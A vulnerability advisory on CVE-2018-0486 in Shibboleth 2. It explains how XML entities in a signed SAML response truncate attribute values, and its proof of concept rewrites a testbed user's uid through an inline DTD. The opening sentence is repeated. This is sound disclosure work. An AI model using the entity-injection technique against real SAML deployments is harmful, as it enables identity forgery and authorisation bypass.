Advisory: Truncation of SAML Attributes in Shibboleth 2

RedTeam Pentesting discovered that the shibd service of Shibboleth 2
does not extract SAML attribute values in a robust manner. Advisory: Truncation of SAML Attributes in Shibboleth 2

RedTeam Pentesting discovered that the shibd service of Shibboleth 2
does not extract SAML attribute values in a robust manner. By inserting
XML entities into a SAML response, attackers may truncate attribute
values without breaking the document's signature. This might lead to a
complete bypass of authorisation mechanisms.


Details
=======

Product: Shibboleth 2
Affected Versions: before 2.6.1 (with XMLTooling-C prior 1.6.3)
Fixed Versions: 2.6.1
Vulnerability Type: Authorisation Bypass
Security Risk: high
Vendor URL: https://www.shibboleth.net/
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-013
Advisory Status: public
CVE: CVE-2018-0486
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0486


Introduction
============

"Shibboleth is among the world's most widely deployed federated identity
solutions, connecting users to applications both within and between
organizations. Every software component of the Shibboleth system is free
and open source.

Shibboleth is an open-source project that provides Single Sign-On
capabilities and allows sites to make informed authorization decisions
for individual access of protected online resources in a
privacy-preserving manner."
(from the Shibboleth Consortium's website [1])


More Details
============

Shibboleth 2 makes use of SAML 2 to communicate assertions between
identity providers and service providers. In some modes of operation,
SAML messages are relayed through a user's browser. Therefore, their
integrity must be protected. SAML accomplishes this by utilizing the XML
signature standard [2] to sign its messages. When employing signatures,
it is important that signed data is interpreted in a consistent manner
by all parties.

RedTeam Pentesting discovered that by inserting XML entities into a SAML
response, the XML signature processor and the Shibboleth application
will interpret the response differently. Parts of the document, for
example values of SAML attributes, can partially be substituted by XML
entities. An inline document type definition at the beginning of the XML
document is inserted to define these entities. During signature
verification, the XML document is canonicalized, which includes
resolution of entities. The definition of all entities is chosen such
that, after their resolution, the original contents of the XML document
appear again. For example, if "RedTeam" was replaced with "Re&x;am", the
entity "x" will be defined as the string "dTe". Consequently, the
signature remains intact as the content of the document was not
changed.

After validating the signature of a SAML response, Shibboleth will
extract various information from the document, such as the values of
SAML attributes. Extracting strings from the XML DOM is implemented
by the function shown below (shortened and re-formatted):

------------------------------------------------------------------------
void AbstractXMLObjectUnmarshaller::unmarshallContent(
const DOMElement* domElement)
{
[...]
DOMNode* childNode = domElement->getFirstChild();
[...]
unsigned int position = 0;
while (childNode) {
if (childNode->getNodeType() == DOMNode::ELEMENT_NODE) {
[...]
// Advance the text node position marker.
++position;
}
else if (
childNode->getNodeType() == DOMNode::TEXT_NODE
|| childNode->getNodeType() == DOMNode::CDATA_SECTION_NODE
) {
m_log.debug("processing text content at position (%d)",
position);
setTextContent(childNode->getNodeValue(), position);
}

childNode = childNode->getNextSibling();
}
}
------------------------------------------------------------------------

This function fails to take into account the presence of sibling text
and entity nodes in the DOM. The "position" variable is only incremented
if an element node is encountered. If sibling text nodes are
encountered, "setTextContent" will be called multiple times with
"position" set to zero. Consequently, only the contents of the last
sibling text node will be retrieved from the DOM. For example, consider
the following XML snippet:

<x>attacker&x;admin@example.net</x>

When called on "<x>", the "unmarshallContent" function will first
extract "attacker". The "&x;" entity will be ignored. Next,
"admin@example.net" will be fetched from the DOM. However, as "position"
was never incremented, this latter string overwrites the previously
extracted data.

By exploiting the behaviour of this function, attackers can truncate
SAML attribute values. Arbitrary prefixes and or suffixes may be removed
without breaking the XML signature.


Proof of Concept
================

Exploitation of this vulnerability is demonstrated using the
dockerized-idp-testbed [3] which implements a minimal Shibboleth
infrastructure using multiple docker containers. It includes a sample
PHP service provider that utilizes Apache mod_shib and shibd for
authentication purposes. A Java-based Shibboleth identity provider is
included which is backed by LDAP.

First, the service provider application is accessed without
authentication. It will generate a SAML request and redirect to the
identity provider. Using the credentials "staff1:password"
authentication is performed at the identity provider. Afterwards, the
identity provider will redirect back to the service provider application
using an HTTP POST request which includes a SAML response. This HTTP
request is intercepted and the XML document is extracted:

------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
ID="_04cfe67e596b7449d05755049ba9ec28"
InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
https://idptestbed/idp/shibboleth
</saml2:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod
Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha512"/>
<ds:Reference URI="#_04cfe67e596b7449d05755049ba9ec28">
<ds:Transforms>
<ds:Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod
Algorithm="http://www.w3.org/2001/04/xmlenc#sha512"/>
<ds:DigestValue>
WOqxoqLlLBlkymI8WFIvMYK+8xakSCyuykHnD2ffLfM0rxRP3RrrYUETDo7Wx
8Hji4ECd70FvkhWM0Vwhfhuhg==
</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>
VmfS2vJ2FnoB45rzSMrgOvqpMLqPuxV0e1dZA5L2DfcC8tJ6ao6GPE0pdsgYYyxdjI/eY4fM
xnCLkeZfHPNt6lXa+/N1yWmxdWnhHJ9XYrWS+0Qgo7kdcWBDLIRjKdxnqYKrtT14I1qpSq2K
gKeoFK2nZ2JkIH1F69Hj7GFT4gGFJY25RoKfOvcyI6Pb2MFT7PmmW5Fu2CoJRTOTpI3lyLq8
3YCbNaX9khBdpe8oIA8T89kQuwOTy0rkqAMONh+OizTPVkaCldT39ohO/WZftS33zsC9UlSJ
NPAnKlSHYuObZoB6tiU6qGX5SLhBYuy0kaA7WHl2Vu7bceXDlMvDqw==
</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>
MIIDFDCCAfygAwIBAgIVAN3vv+b7KN5Se9m1RZsCllp/B/hdMA0GCSqGSIb3DQEBCwUAMBUx
EzARBgNVBAMMCmlkcHRlc3RiZWQwHhcNMTUxMjExMDIyMDE0WhcNMzUxMjExMDIyMDE0WjAV
MRMwEQYDVQQDDAppZHB0ZXN0YmVkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
h91caeY0Q85uhaUyqFwP2bMjwMFxMzRlAoqBHd7gu6eo4duaeLz1BaoR2XTBpNNvFR5oHH+T
kKahVDGeH5+kcnIpxI8JPdsZml1srvf2Z6dzJsulJZUdpqnngycTkGtZgEoC1vmYVky2BSAI
Iifmdh6s0epbHnMGLsHzMKfJCb/Q6dYzRWTCPtzE2VMuQqqWgeyMr7u14x/Vqr9RPEFsgY8G
Iu5jzB6AyUIwrLg+MNkv6aIdcHwxYTGL7ijfy6rSWrgBflQoYRYNEnseK0ZHgJahz4ovCag6
wZAoPpBsuYlY7lEr89Ucb6NHx3uqGMsXlDFdE4QwfDLLhCYHPvJ0uwIDAQABo1swWTAdBgNV
HQ4EFgQUAkOgED3iYdmvQEOMm6u/JmD/UTQwOAYDVR0RBDEwL4IKaWRwdGVzdGJlZIYhaHR0
cHM6Ly9pZHB0ZXN0YmVkL2lkcC9zaGliYm9sZXRoMA0GCSqGSIb3DQEBCwUAA4IBAQBIdd4Y
WlnvJjql8+zKKgmWgIY7U8DA8e6QcbAf8f8cdE33RSnjI63Xsv/y9GfmbAVAD6RIAXPFFeRY
J08GOxGI9axfNaKdlsklJ9bk4ducHqgCSWYVer3sRQBjxyOfSTvk9YCJvdJVQRJLcCvxwKak
FCsOSnV3t9OvN86Ak+fKPVB5j2fM/0fZKqjn3iqgdNPTLXPsuJLJO5lITRiBa4onmVelAiCs
tI9PQiaEck+oAHnMTnC9JE/BDHv3e4rwq3LznlqPw0GSd7xqNTdMDwNOWjkuOr3sGpWS8ms/
ZHHXV1Vd22uPe70is00xrv14zLifcc8oj5DYzOhYRifRXgHX
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml2p:Status>
<saml2p:StatusCode
Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</saml2p:Status>
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_0d9bb7eeff709e93bc84196a815b5d2f"
IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
<saml2:Issuer>https://idptestbed/idp/shibboleth</saml2:Issuer>
<saml2:Subject>
<saml2:NameID
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"
NameQualifier="https://idptestbed/idp/shibboleth"
SPNameQualifier="https://sp.idptestbed/shibboleth">
AAdzZWNyZXQxb597SlBurufjA6ok5OqWHfUFMVzkhgqw6ZMRuvy5mcH8jMNiaqA4DyyYJmjJ
q3Da9qTcCFt1gom2qN7u+jqySIEDXGxwalmT0uYitXl5uSJ9rvZm4oc+5RcpU/bGUqxBU9Ce
m7I=
</saml2:NameID>
<saml2:SubjectConfirmation
Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData Address="172.19.0.3"
InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
NotOnOrAfter="2017-12-08T15:20:56.077Z"
Recipient="https://idptestbed/Shibboleth.sso/SAML2/POST"/>
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions NotBefore="2017-12-08T15:15:56.062Z"
NotOnOrAfter="2017-12-08T15:20:56.062Z">
<saml2:AudienceRestriction>
<saml2:Audience>
https://sp.idptestbed/shibboleth
</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement AuthnInstant="2017-12-08T15:15:55.942Z"
SessionIndex="_4024a546cb14b165d953781d0472c105">
<saml2:SubjectLocality Address="172.19.0.3"/>
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml2:AuthnContextClassRef>
</saml2:AuthnContext>
</saml2:AuthnStatement>
<saml2:AttributeStatement>
<saml2:Attribute FriendlyName="uid"
Name="urn:oid:0.9.2342.19200300.100.1.1"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue>
staff1
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="mail"
Name="urn:oid:0.9.2342.19200300.100.1.3"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue>
staff1@idptestbed.edu
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="sn" Name="urn:oid:2.5.4.4"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue>
aff
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="givenName"
Name="urn:oid:2.5.4.42"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue>
St
</saml2:AttributeValue>
</saml2:Attribute>
</saml2:AttributeStatement>
</saml2:Assertion>
</saml2p:Response>
------------------------------------------------------------------------

Next, the SAML response is modified as follows:

------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
<!ENTITY s "s">
<!ENTITY f1 "f1">
]>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
ID="_04cfe67e596b7449d05755049ba9ec28"
InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
[...]
<saml2:Attribute FriendlyName="uid"
Name="urn:oid:0.9.2342.19200300.100.1.1"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue>
&s;taf&f1;
</saml2:AttributeValue>
</saml2:Attribute>
[...]
</saml2p:Response>
------------------------------------------------------------------------

At the beginning of the document, an inline document type definition was
inserted which defines two entities:

* &s; which resolves to the string "s"
* &f1; which resolves to the string "f1"

Additionally, the value of the "uid" attribute is rewritten using these
entities: The original value of "staff1" is replaced with "&s;taf&f1;".
After these modifications, the XML document is re-inserted into the HTTP
POST request which is then sent to the service provider.

The SAML response is accepted by the service provider. Due to the
vulnerability, the service provider application reports "taf" as the
value of the "uid" attribute.


Workaround
==========

The use of XML encryption can serve as a mitigation for this
vulnerability but may still allow attacks in certain scenarios.


Fix
===

Manually update to the latest version [4] as described in the security
advisory published by Shibboleth [5]. Alternatively, use the operating
system's package management to receive the update [6].

Furthermore, a new version of the XMLTooling-C library (1.6.3) has been
released to address this vulnerability. DTD processing is now disabled
in the XML parser. Yet, some platforms ship with old parser versions
that do not allow DTD processing to be disabled, namely Red Hat and
CentOS. Therefore, the "unmarshallContent" function has also been
hardened to mitigate the vulnerability on these platforms.


Security Risk
=============

The key feature of Shibboleth, secure transfer of assertions, is
compromised. Therefore, the vulnerability is rated as a high risk. In
certain circumstances, this might lead to a complete bypass of
authorisation mechanisms. In practice, the risk for service providers is
highly dependent on the actual deployment of the Shibboleth
infrastructure: Sometimes, SAML responses are encrypted or not
transferred through a browser. In this case, an attacker is not able to
insert XML entities. Whether truncating SAML attribute values is
profitable for attackers also depends on the actual use and structure of
these values. Attackers may use an application's self-service features
to change their account's email to a manipulated but valid address.
Truncation of this email address in a SAML response could lead to access
to further accounts, effectively bypassing authorisation mechanisms.


Timeline
========

2017-11-06 Vulnerability identified
2017-11-13 Customer approved further research
2017-12-01 Further research conducted
2018-01-09 Customer approved disclosure to vendor
2018-01-10 Vendor notified
2018-01-12 Vendor released fixed version
2018-01-15 Advisory released


References
==========

[1] https://www.shibboleth.net/
[2] https://www.w3.org/TR/xmldsig-core/
[3] https://github.com/UniconLabs/dockerized-idp-testbed
[4] https://shibboleth.net/downloads/service-provider/2.6.1/
[5] https://shibboleth.net/community/advisories/secadv_20180112.txt
[6] https://security-tracker.debian.org/tracker/CVE-2018-0486


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/

Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/

--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschaftsfuhrer: Patrick Hof, Jens Liebchen